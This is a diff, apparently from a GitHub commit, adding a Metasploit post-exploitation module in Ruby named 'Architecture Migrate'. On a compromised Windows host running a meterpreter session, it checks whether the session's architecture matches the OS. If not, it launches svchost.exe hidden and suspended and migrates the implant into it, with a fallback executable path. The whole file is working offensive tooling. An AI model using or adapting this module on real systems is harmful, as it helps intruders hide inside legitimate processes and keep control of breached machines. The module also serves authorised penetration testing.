|
| 1 | +require 'msf/core' |
| 2 | + |
| 3 | +class MetasploitModule < Msf::Post |
| 4 | + include Msf::Post::Windows::Registry |
| 5 | + include Msf::Post::File |
| 6 | + include Msf::Post::Common |
| 7 | + |
| 8 | + def initialize(info = {}) |
| 9 | + super(update_info( |
| 10 | + info, |
| 11 | + 'Name' => 'Architecture Migrate', |
| 12 | + 'Description' => %q(This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a |
| 13 | + new process with the correct architecture and migrates into that process.), |
| 14 | + 'License' => MSF_LICENSE, |
| 15 | + 'Author' => ['Koen Riepe ([email protected])'], |
| 16 | + 'References' => [''], |
| 17 | + 'Platform' => [ 'win' ], |
| 18 | + 'Arch' => [ 'x86', 'x64' ], |
| 19 | + 'SessionTypes' => [ 'meterpreter' ] |
| 20 | + ) |
| 21 | + ) |
| 22 | + |
| 23 | + register_options( |
| 24 | + [ |
| 25 | + OptString.new('EXE', [true, 'The executable to start and migrate into', 'C:\windows\sysnative\svchost.exe']), |
| 26 | + OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ]) |
| 27 | + ], |
| 28 | + self.class |
| 29 | + ) |
| 30 | + end |
| 31 | + |
| 32 | + def check_32_on_64 |
| 33 | + begin |
| 34 | + apicall = session.railgun.kernel32.IsWow64Process(-1, 4)["Wow64Process"] |
| 35 | + # railgun returns '\x00\x00\x00\x00' if the meterpreter process is 64bits. |
| 36 | + if apicall == "\x00\x00\x00\x00" |
| 37 | + migrate = false |
| 38 | + else |
| 39 | + migrate = true |
| 40 | + end |
| 41 | + return migrate |
| 42 | + rescue |
| 43 | + print_error('Railgun not available, this module only works for binary meterpreters.') |
| 44 | + end |
| 45 | + end |
| 46 | + |
| 47 | + def get_windows_loc |
| 48 | + apicall = session.railgun.kernel32.GetEnvironmentVariableA("Windir", 255, 255)["lpBuffer"] |
| 49 | + windir = apicall.split(":")[0] |
| 50 | + return windir |
| 51 | + end |
| 52 | + |
| 53 | + def run |
| 54 | + if check_32_on_64 |
| 55 | + print_status('The meterpreter is not the same architecture as the OS! Upgrading!') |
| 56 | + newproc = datastore['EXE'] |
| 57 | + if exist?(newproc) |
| 58 | + print_status("Starting new x64 process #{newproc}") |
| 59 | + pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid |
| 60 | + print_good("Got pid #{pid}") |
| 61 | + print_status('Migrating..') |
| 62 | + session.core.migrate(pid) |
| 63 | + if pid == session.sys.process.getpid |
| 64 | + print_good('Success!') |
| 65 | + else |
| 66 | + print_error('Migration failed!') |
| 67 | + end |
| 68 | + else |
| 69 | + print_error('The selected executable to migrate into does not exist') |
| 70 | + if datastore['FALLBACK'] |
| 71 | + windir = get_windows_loc |
| 72 | + newproc = "#{windir}:\\windows\\sysnative\\svchost.exe" |
| 73 | + if exist?(newproc) |
| 74 | + print_status("Starting new x64 process #{newproc}") |
| 75 | + pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid |
| 76 | + print_good("Got pid #{pid}") |
| 77 | + print_status('Migrating..') |
| 78 | + session.core.migrate(pid) |
| 79 | + if pid == session.sys.process.getpid |
| 80 | + print_good('Success!') |
| 81 | + else |
| 82 | + print_error('Migration failed!') |
| 83 | + end |
| 84 | + end |
| 85 | + end |
| 86 | + end |
| 87 | + else |
| 88 | + print_good('The meterpreter is the same architecture as the OS!') |
| 89 | + end |
| 90 | + end |
| 91 | +end |
0 commit comments